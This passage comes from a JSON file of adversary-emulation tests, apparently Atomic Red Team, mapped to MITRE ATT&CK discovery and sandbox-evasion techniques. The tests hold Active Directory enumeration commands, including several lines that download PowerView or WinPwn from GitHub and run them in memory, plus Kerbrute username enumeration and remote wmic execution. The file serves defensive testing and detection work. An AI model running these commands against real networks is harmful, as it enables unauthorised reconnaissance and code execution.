- "auto_generated_guid": "5e2938fb-f919-47b6-8b29-2f6a1f718e99",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -sc exchaddresses\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Enumerate Default Domain Admin Details (Domain)",
- "auto_generated_guid": "c70ab9fd-19e2-4e02-a83c-9cfa8eaa8fef",
- "description": "This test will enumerate the details of the built-in domain admin account\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net user administrator /domain\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Enumerate Active Directory for Unconstrained Delegation",
- "auto_generated_guid": "46f8dbe9-22a5-4770-8513-66119c5be63b",
- "description": "Attackers may attempt to query for computer objects with the UserAccountControl property\n'TRUSTED_FOR_DELEGATION' (0x80000;524288) set\nMore Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce\nPrerequisite: AD RSAT PowerShell module is needed and it must run under a domain user\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain": {
- "description": "Domain FQDN",
- "type": "string",
- "default": "$env:UserDnsDomain"
- },
- "uac_prop": {
- "description": "UAC Property to search",
- "type": "string",
- "default": 524288
- }
- },
- "dependencies": [
- {
- "description": "PowerShell ActiveDirectory Module must be installed\n",
- "prereq_command": "Try {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n}\nCatch {\n exit 1\n}\n",
- "get_prereq_command": "if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {\n Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online\n} else {\n Install-WindowsFeature RSAT-AD-PowerShell\n}\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}\n"
- }
- },
- {
- "name": "Get-DomainUser with PowerView",
- "auto_generated_guid": "93662494-5ed7-4454-a04c-8c8372808ac2",
- "description": "Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "Enumerate Active Directory Users with ADSISearcher",
- "auto_generated_guid": "02e8be5a-3065-4e54-8cc8-a14d138834d3",
- "description": "The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.\nUpon successful execution a listing of users will output with their paths in AD.\nReference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "([adsisearcher]\"objectcategory=user\").FindAll(); ([adsisearcher]\"objectcategory=user\").FindOne()\n"
- }
- },
- {
- "name": "Enumerate Linked Policies In ADSISearcher Discovery",
- "auto_generated_guid": "7ab0205a-34e4-4a44-9b04-e1541d1a57be",
- "description": "The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.\nUpon successful execution a listing of users will output with their paths in AD.\nReference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]\"$_\").gPlink){Write-Host \"[+] OU Path:\"([ADSI]\"$_\").Path;$a=((([ADSI]\"$_\").gplink) -replace \"[[;]\" -split \"]\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \"Policy Path[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \"Policy Name[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \"`n\" }}\n"
- }
- },
- {
- "name": "Enumerate Root Domain linked policies Discovery",
- "auto_generated_guid": "00c652e2-0750-4ca6-82ff-0204684a6fe4",
- "description": "The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.\nUpon successful execution a listing of users will output with their paths in AD.\nReference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]\"$_\").gPlink){Write-Host \"[+] Domain Path:\"([ADSI]\"$_\").Path;$a=((([ADSI]\"$_\").gplink) -replace \"[[;]\" -split \"]\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \"Policy Path[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \"Policy Name[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \"`n\" }}\n"
- }
- },
- {
- "name": "WinPwn - generaldomaininfo",
- "auto_generated_guid": "ce483c35-c74b-45a7-a670-631d1e69db3d",
- "description": "Gathers general domain information using the generaldomaininfo function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ngeneraldomaininfo -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "Kerbrute - userenum",
- "auto_generated_guid": "f450461c-18d1-4452-9f0d-2c42c3f08624",
- "description": "Enumerates active directory usernames using the userenum function of Kerbrute",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "Domain": {
- "description": "Domain that is being tested against",
- "type": "string",
- "default": "$env:USERDOMAIN"
- },
- "DomainController": {
- "description": "Domain Controller that is being tested against",
- "type": "string",
- "default": "$env:UserDnsDomain"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "kerbrute.exe must exist in $env:temp.\n",
- "prereq_command": "if (test-path $env:temp\\kerbrute.exe){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"$env:TEMP\\kerbrute.exe\"\n"
- },
- {
- "description": "username text file must exist in $env:temp.\n",
- "prereq_command": "if (test-path $env:temp\\username.txt){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1087.002/src/username.txt?raw=true\" -outfile \"$env:TEMP\\username.txt\"\n"
- }
- ],
- "executor": {
- "command": "cd $env:temp\n.\\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} $env:TEMP\\username.txt",
- "name": "powershell"
- }
- },
- {
- "name": "Wevtutil - Discover NTLM Users Remote",
- "auto_generated_guid": "b8a563d4-a836-4993-a74e-0a19b8481bfe",
- "description": "This test discovers users who have authenticated against a Domain Controller via NTLM. \nThis is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$target = $env:LOGONSERVER\n$target = $target.Trim(\"\\\\\")\n$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString\nwmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\\\ntlmusers.evtx /q:\\\"Event[System[(EventID=4776)]]\"'",
- "cleanup_command": "Remove-Item -Path \\\\$IpAddress\\c$\\ntlmusers.evtx\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1063": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:51.330Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1063",
- "external_id": "T1063"
- }
- ],
- "modified": "2020-02-21T21:17:03.347Z",
- "name": "Security Software Discovery",
- "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query
with [Reg](https://attack.mitre.org/software/S0075), dir
with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1087.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Daniel Stepanic, Elastic"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
- "type": "attack-pattern",
- "created": "2020-02-21T21:07:55.393Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1087.001",
- "url": "https://attack.mitre.org/techniques/T1087/001"
- },
- {
- "source_name": "Elastic - Koadiac Detection with EQL",
- "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql",
- "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."
- }
- ],
- "modified": "2021-07-28T18:05:24.567Z",
- "name": "Account Discovery: Local Account",
- "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user
and net localgroup
of the [Net](https://attack.mitre.org/software/S0039) utility and id
and groups
on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd
file. On macOS the dscl . list /Users
command can be used to enumerate local accounts.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe
and net1.exe
, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Access",
- "Command: Command Execution",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1087.001"
- },
- "atomic_tests": [
- {
- "name": "Enumerate all accounts on Windows (Local)",
- "auto_generated_guid": "80887bec-5a9b-4efc-a81d-f83eb2eb32ab",
- "description": "Enumerate all accounts\nUpon execution, multiple enumeration commands will be run and their output displayed in the PowerShell session\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net user\ndir c:\\Users\\\ncmdkey.exe /list\nnet localgroup \"Users\"\nnet localgroup\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Enumerate all accounts via PowerShell (Local)",
- "auto_generated_guid": "ae4b6361-b5f8-46cb-a3f9-9cf108ccfe7b",
- "description": "Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net user\nget-localuser\nget-localgroupmember -group Users\ncmdkey.exe /list\nls C:/Users\nget-childitem C:\\Users\\\ndir C:\\Users\\\nget-localgroup\nnet localgroup\n",
- "name": "powershell"
- }
- },
- {
- "name": "Enumerate logged on users via CMD (Local)",
- "auto_generated_guid": "a138085e-bfe5-46ba-a242-74a6fb884af3",
- "description": "Enumerate logged on users. Upon execution, logged on users will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "query user\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1497.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Deloitte Threat Library Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
- "type": "attack-pattern",
- "created": "2020-03-06T20:57:37.959Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1497.001",
- "url": "https://attack.mitre.org/techniques/T1497/001"
- },
- {
- "source_name": "Deloitte Environment Awareness",
- "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
- "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."
- },
- {
- "source_name": "McAfee Virtual Jan 2017",
- "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/",
- "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019."
- },
- {
- "source_name": "Unit 42 OilRig Sept 2018",
- "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
- "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
- }
- ],
- "modified": "2021-10-18T14:57:07.973Z",
- "name": "Virtualization/Sandbox Evasion: System Checks",
- "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Static File Analysis",
- "Signature-based detection",
- "Host forensic analysis",
- "Anti-virus"
- ],
- "identifier": "T1497.001"
- },
- "atomic_tests": [
- {
- "name": "Detect Virtualization Environment (Windows)",
- "auto_generated_guid": "502a7dc4-9d6f-4d28-abf2-f0e84692562d",
- "description": "Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$error.clear()\nGet-WmiObject -Query \"SELECT * FROM MSAcpi_ThermalZoneTemperature\" -ErrorAction SilentlyContinue\nif($error) {echo \"Virtualization Environment detected\"}\n",
- "cleanup_command": "$error.clear()\n"
- }
- },
- {
- "name": "Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)",
- "auto_generated_guid": "4a41089a-48e0-47aa-82cb-5b81a463bc78",
- "description": "Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"\nif((($Manufacturer.ToLower() -eq \"microsoft corporation\") -and ($Model.ToLower().contains(\"virtual\"))) -or ($Manufacturer.ToLower().contains(\"vmware\")) -or ($Model.ToLower() -eq \"virtualbox\")) {write-host \"Virtualization environment detected!\"} else {write-host \"No virtualization environment detected!\"}\n"
- }
- }
- ]
- },
- "T1069.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
- "type": "attack-pattern",
- "created": "2020-02-21T21:15:06.561Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1069.002",
- "url": "https://attack.mitre.org/techniques/T1069/002"
- }
- ],
- "modified": "2020-03-12T19:07:53.043Z",
- "name": "Permission Groups Discovery: Domain Groups",
- "description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain
of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group
on macOS, and ldapsearch
on Linux can list domain-level groups.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1069.002"
- },
- "atomic_tests": [
- {
- "name": "Basic Permission Groups Discovery Windows (Domain)",
- "auto_generated_guid": "dd66d77d-8998-48c0-8024-df263dc2ce5d",
- "description": "Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain\ninformation will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net localgroup\nnet group /domain\nnet group \"domain admins\" /domain\nnet group \"enterprise admins\" /domain\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Permission Groups Discovery PowerShell (Domain)",
- "auto_generated_guid": "6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7",
- "description": "Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain\ninformation will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user": {
- "description": "User to identify what groups a user is a member of",
- "type": "string",
- "default": "administrator"
- }
- },
- "executor": {
- "command": "get-ADPrincipalGroupMembership #{user} | select name\n",
- "name": "powershell"
- }
- },
- {
- "name": "Elevated group enumeration using net group (Domain)",
- "auto_generated_guid": "0afb5163-8181-432e-9405-4322710c0c37",
- "description": "Runs \"net group\" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This\ntest will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net group /domai \"Domain Admins\"\nnet groups \"Account Operators\" /doma\nnet groups \"Exchange Organization Management\" /doma\nnet group \"BUILTIN\\Backup Operators\" /doma\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Find machines where user has local admin access (PowerView)",
- "auto_generated_guid": "a2d71eee-a353-4232-9f86-54f4288dd8c1",
- "description": "Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "Find local admins on all machines in domain (PowerView)",
- "auto_generated_guid": "a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd",
- "description": "Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "Find Local Admins via Group Policy (PowerView)",
- "auto_generated_guid": "64fdb43b-5259-467a-b000-1b02c00e510a",
- "description": "takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "computer_name": {
- "description": "hostname of the computer to analyze",
- "type": "path",
- "default": "$env:COMPUTERNAME"
- }
- },
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "Enumerate Users Not Requiring Pre Auth (ASRepRoast)",
- "auto_generated_guid": "870ba71e-6858-4f6d-895c-bb6237f6121b",
- "description": "When successful, accounts that do not require kerberos pre-auth will be returned\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined.\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually.\n"
- },
- {
- "description": "Requires the Active Directory module for powershell to be installed.\n",
- "prereq_command": "if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Add-WindowsCapability -Online -Name \"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}\n"
- }
- },
- {
- "name": "Adfind - Query Active Directory Groups",
- "auto_generated_guid": "48ddc687-82af-40b7-8472-ff1e742e8274",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -f (objectcategory=group)\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Enumerate Active Directory Groups with Get-AdGroup",
- "auto_generated_guid": "3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8",
- "description": "The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory.\nUpon successful execution a listing of groups will output with their paths in AD.\nReference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "command": "Get-AdGroup -Filter *\n"
- }
- },
- {
- "name": "Enumerate Active Directory Groups with ADSISearcher",
